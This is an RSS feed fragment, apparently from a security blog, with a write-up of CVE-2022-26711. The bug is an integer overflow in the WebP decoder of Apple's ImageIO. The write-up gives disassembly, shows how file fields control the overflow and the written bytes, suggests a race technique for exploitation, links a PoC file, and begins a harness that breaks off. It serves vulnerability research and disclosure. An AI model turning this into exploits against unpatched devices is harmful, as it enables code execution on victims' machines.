&lt;span class="line"&gt;&lt;span&gt;│ │ └── utils.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ └── workos&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ └── utils.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ ... snip ...&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;70 directories, 381 files&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A full TypeScript codebase. Original project structure, intact.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/xpcmdshell/bun-unpack" target="_blank" rel="noopener noreferrer"&gt;&lt;code&gt;bun-unpack&lt;/code&gt;&lt;/a&gt; is on GitHub if you want to try it yourself.&lt;/p&gt;</description></item><item><title>CVE-2022-26711: Integer Overflow in Apple's ImageIO Framework</title><link>https://0day.gg/blog/cve-2022-26711-imageio-integer-overflow/</link><guid>https://0day.gg/blog/cve-2022-26711-imageio-integer-overflow/</guid><pubDate>Wed, 01 Jan 2025 12:00:00 -0800</pubDate><description>&lt;h2 id="motivation"&gt;Motivation&lt;a class="heading-anchor" href="#motivation" aria-label="Link to Motivation"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This is a writeup I&amp;rsquo;ve been meaning to publish for a while. Back in mid 2021, I was hunting for bugs in ImageIO. I&amp;rsquo;d been following some of the work Project Zero had done on Apple&amp;rsquo;s image parsing, particularly Samuel Groß&amp;rsquo;s &lt;a href="https://googleprojectzero.blogspot.com/2020/04/fuzzing-imageio.html" target="_blank" rel="noopener noreferrer"&gt;Fuzzing ImageIO&lt;/a&gt; research from 2020, and figured it was worth pointing my own fuzzer at it.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re not familiar, ImageIO is Apple&amp;rsquo;s image parsing framework. It handles decoding for essentially every image format on macOS and iOS. Safari, Preview, Mail, Messages, Quick Look, even Finder thumbnails. They all funnel through ImageIO. From an attacker&amp;rsquo;s perspective, this is about as good as it gets. Get a victim to view your malicious image (browse to a page, preview an attachment, receive a message) and you&amp;rsquo;ve got code execution. No weird user interaction required.&lt;/p&gt;
&lt;h2 id="fuzzing-setup"&gt;Fuzzing Setup&lt;a class="heading-anchor" href="#fuzzing-setup" aria-label="Link to Fuzzing Setup"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I threw together a simple harness, and wired it up to a custom fuzzer written on top of libAFL. I used Frida for binary-only instrumentation of the ImageIO library, and wrote a structure-aware mutator for &lt;a href="https://datatracker.ietf.org/doc/rfc9649/" target="_blank" rel="noopener noreferrer"&gt;WebP&lt;/a&gt;. At some point I need to open source the mutator, but it needs a lot of cleanup yet. For the initial corpus, I grabbed samples from Mozilla&amp;rsquo;s &lt;a href="https://github.com/MozillaSecurity/fuzzdata" target="_blank" rel="noopener noreferrer"&gt;fuzzdata&lt;/a&gt; repository, which has been since decomissioned. The modern replacement is &lt;a href="https://github.com/MozillaSecurity/corpus-replicator" target="_blank" rel="noopener noreferrer"&gt;corpus-replicator&lt;/a&gt;. I didn&amp;rsquo;t need anything fancy, just enough to get the fuzzer past the format checks and into the interesting parsing code.&lt;/p&gt;
&lt;h2 id="the-crash"&gt;The Crash&lt;a class="heading-anchor" href="#the-crash" aria-label="Link to The Crash"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The fuzzer produced a handful of crashes, most of which weren&amp;rsquo;t interesting. But one stood out:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;Process 31484 stopped&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x105ed0000)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt; frame #0: 0x00000001c2cc1eb4 libsystem_platform.dylib`_platform_memset_pattern16 + 84&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A crash in a memset call! This seems very promising. Image parsers do a lots of allocating, moving chunks around, etc.&lt;/p&gt;
&lt;h2 id="triage"&gt;Triage&lt;a class="heading-anchor" href="#triage" aria-label="Link to Triage"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This analysis was done against ImageIO from the dyld shared cache in macOS Monterey 12.0.1. Addresses and code likely differ on newer versions.&lt;/p&gt;
&lt;p&gt;The crash was in &lt;code&gt;_platform_memset_pattern16&lt;/code&gt;, called from somewhere in ImageIO&amp;rsquo;s WebP decoder. I pulled up the disassembly in Binja and started tracing.&lt;/p&gt;
&lt;h3 id="the-allocation"&gt;The Allocation&lt;a class="heading-anchor" href="#the-allocation" aria-label="Link to The Allocation"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Starting in &lt;code&gt;WebPReadPlugin::copyImageBlockSet&lt;/code&gt;, I found where the buffer gets allocated:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;_0x189348ba0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; ldr w8, [x19, #&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0x114&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;] &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; canvas height&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mul&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; w9, w8, w20&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; ucvtf d8, w9&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; ldr s10, [x19, #&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0x110&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; ucvtf d0, w8&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; fadd&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; d1, d0, d8&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; ldr s2, [x19, #&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0xf4&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; ucvtf d2, d2&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; fsub&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; d3, d2, d8&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; fcmp d1, d2&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; fcsel d9, d3, d0, gt&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; ldr w9, [x19, #&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0x118&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;] &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; rowbytes (align16(width &amp;#x3C;&amp;#x3C; 2))&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mul&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; w27, w9, w8 &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; integer overflow here&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; ldr x1, [x19, #&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0x160&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; ldr x3, [x23] &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; _kImageMalloc_WEBP_Data&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; add&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; x2, &lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;sp&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;, #&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0x40&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mov&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; x0, x27 &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; result cast to 64-bit for malloc&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mov&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; x4, #&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mov&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; w5, #&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; bl&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; __ImageIO_Malloc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;ImageIO multiplies &lt;code&gt;rowbytes&lt;/code&gt; by &lt;code&gt;canvas_height&lt;/code&gt; to figure out how much to allocate. Both values get loaded into 32-bit registers, and the result goes into &lt;code&gt;w27&lt;/code&gt;, also 32-bit. No overflow check. When it moves the result to &lt;code&gt;x0&lt;/code&gt; for the malloc call, it zero-extends to 64-bit, but by then the damage is done.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/cve-2022-26711-overflow.svg"&gt;&lt;img src="https://0day.gg/images/cve-2022-26711-overflow.svg" alt="Integer overflow in buffer allocation" loading="lazy" decoding="async" width="600" height="700"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;The &lt;code&gt;rowbytes&lt;/code&gt; value is derived from the canvas width as &lt;code&gt;align16(width &amp;lt;&amp;lt; 2)&lt;/code&gt;, where &lt;code&gt;align16&lt;/code&gt; rounds up to 16-byte alignment. Both canvas width and height come straight from the VP8X chunk in the file, so we control them completely.&lt;/p&gt;
&lt;h3 id="building-the-vimage_buffer"&gt;Building the vImage_Buffer&lt;a class="heading-anchor" href="#building-the-vimage_buffer" aria-label="Link to Building the vImage_Buffer"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;After the allocation, we enter &lt;code&gt;WebPReadPlugin::decodeAnimatedWebP&lt;/code&gt;, which handles files with the animation feature bit set. This function builds a &lt;code&gt;vImage_Buffer&lt;/code&gt; structure:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;_0x1893487cc&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; ldr x10, [&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;sp&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;, #&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0x30&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mov&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; w8, w10&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; stp x19, x8, [&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;sp&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;, #&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0x88&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;] &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; buf.data, buf.height&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mov&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; w9, w21&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; stp x9, x23, [&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;sp&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;, #&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0x98&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;] &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; buf.width, buf.rowbytes&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; tbz w28, #&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;, &lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0x18934885c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;code&gt;buf.data&lt;/code&gt; gets the pointer from &lt;code&gt;_ImageIO_Malloc&lt;/code&gt;, our undersized buffer. But &lt;code&gt;buf.height&lt;/code&gt;, &lt;code&gt;buf.width&lt;/code&gt;, and &lt;code&gt;buf.rowbytes&lt;/code&gt; get populated with the original values from the file, not the truncated allocation size.&lt;/p&gt;
&lt;p&gt;This structure then gets passed to &lt;code&gt;vImageBufferFill_ARGB8888&lt;/code&gt; along with a pointer to the background color from the ANIM chunk. That&amp;rsquo;s 4 bytes we fully control.&lt;/p&gt;
&lt;h3 id="the-write-loop"&gt;The Write Loop&lt;a class="heading-anchor" href="#the-write-loop" aria-label="Link to The Write Loop"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;vImageBufferFill_ARGB8888&lt;/code&gt; just preps a call to &lt;code&gt;vFillBy16&lt;/code&gt;:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;vFillBy16(dstbuf: buf.data, height: buf.height, chunklen: buf.width &amp;#x3C;&amp;#x3C; 2, rowbytes: buf.rowbytes, fillpattern: &amp;#x26;bgcolor)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Inside &lt;code&gt;vFillBy16&lt;/code&gt;, we find the loop that does the actual writing:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;_0x186efb254&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; cbz x1, &lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0x186efb288&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; ; skip if height is 0&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mov&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; x19, x4 &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; fillpattern&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mov&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; x20, x3 &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; rowbytes&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mov&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; x21, x2 &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; chunklen&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mov&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; x22, x1 &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; height (loop counter)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mov&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; x23, x0 &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; write destination&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;_0x186efb26c&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mov&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; x0, x23 &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; dst&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mov&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; x1, x19 &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; pattern&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; mov&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; x2, x21 &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; len&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; bl&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; _memset_pattern16 &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; fill one row&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; add&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; x23, x23, x20 &lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt;; dst += rowbytes&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; subs x22, x22, #&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0x1&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; ; decrement height&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; b.ne &lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0x186efb26c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Or as pseudocode:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="c"&gt;&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;if&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; (&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;height &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;!=&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#78DCE8;font-weight:600"&gt; void&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;*&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; write_dst &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; dstbuf&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; do&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; memset_pattern16&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;write_dst&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; fillpattern&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; chunklen&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; write_dst &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;+=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; rowbytes&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; height&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;--;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; while&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; (&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;height &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;!=&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The loop runs &lt;code&gt;height&lt;/code&gt; times, writing &lt;code&gt;chunklen&lt;/code&gt; bytes (width * 4) each iteration and advancing the pointer by &lt;code&gt;rowbytes&lt;/code&gt;. None of these values were truncated by the overflow. Only the allocation size was. So we&amp;rsquo;re iterating over the full intended canvas dimensions, writing our controlled background color bytes way past the end of the tiny buffer we actually got.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/cve-2022-26711-write-loop.svg"&gt;&lt;img src="https://0day.gg/images/cve-2022-26711-write-loop.svg" alt="vFillBy16 write loop" loading="lazy" decoding="async" width="700" height="500"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;h2 id="attacker-control"&gt;Attacker Control&lt;a class="heading-anchor" href="#attacker-control" aria-label="Link to Attacker Control"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I checked how much of this I could influence from the file (see the &lt;a href="https://developers.google.com/speed/webp/docs/riff_container" target="_blank" rel="noopener noreferrer"&gt;WebP container spec&lt;/a&gt; for chunk definitions):&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/cve-2022-26711-webp-format.svg"&gt;&lt;img src="https://0day.gg/images/cve-2022-26711-webp-format.svg" alt="Malicious WebP structure" loading="lazy" decoding="async" width="500" height="410"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Canvas dimensions&lt;/strong&gt;: Fully controlled via the VP8X chunk&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fill pattern&lt;/strong&gt;: The 4-byte background color from the ANIM chunk&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The ANIM chunk is what triggers the animated code path and provides the fill color. So I control both the overflow condition and the bytes being written out of bounds.&lt;/p&gt;
&lt;p&gt;You&amp;rsquo;ll note from the above that the loop goes absolutely nuts, its a textbook wildcopy. Initially this seems not interesting, as the payload &amp;ldquo;should&amp;rdquo; always write &lt;strong&gt;way&lt;/strong&gt; past the end of the allocation and hit unmapped pages. However, depending on the scenario, it may be possible to halt the write loop before it crashes using a technique like the one Chris Evans described in &lt;a href="https://googleprojectzero.blogspot.com/2015/03/taming-wild-copy-parallel-thread.html" target="_blank" rel="noopener noreferrer"&gt;Taming the wild copy: Parallel Thread Corruption&lt;/a&gt;. If parsing happens in a background thread, you could race to stop the process mid-corruption and exploit the damaged heap state before it hits unmapped memory. Taming this would rely on other primitives.&lt;/p&gt;
&lt;h2 id="poc"&gt;PoC&lt;a class="heading-anchor" href="#poc" aria-label="Link to PoC"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I minimized the crash input down to a &lt;a href="https://raw.githubusercontent.com/xpcmdshell/CVE-2022-26711/refs/heads/main/intoverflow.webp" target="_blank" rel="noopener noreferrer"&gt;262-byte WebP&lt;/a&gt;. The PoC file, harness, and browser trigger are available in the &lt;a href="https://github.com/xpcmdshell/CVE-2022-26711" target="_blank" rel="noopener noreferrer"&gt;GitHub repository&lt;/a&gt;. The harness loads the image and forces a software render:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="objective-c"&gt;&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;#&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;import&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Foundation/Foundation.h&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;#&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;import&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;AppKit/AppKit.h&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;#&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;import&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;CoreGraphics/CoreGraphics.h&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;#&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;import&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;ImageIO/ImageIO.h&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;extern&lt;/span&gt;&lt;span style="color:#78DCE8;font-weight:600"&gt; void&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; *&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;CGContextGetRenderingState&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;CGContextRef&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;extern&lt;/span&gt;&lt;span style="color:#78DCE8;font-weight:600"&gt; bool&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; CGRenderingStateSetAllowsAcceleration&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#78DCE8;font-weight:600"&gt;void&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; *,&lt;/span&gt;&lt;span style="color:#78DCE8;font-weight:600"&gt; bool&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
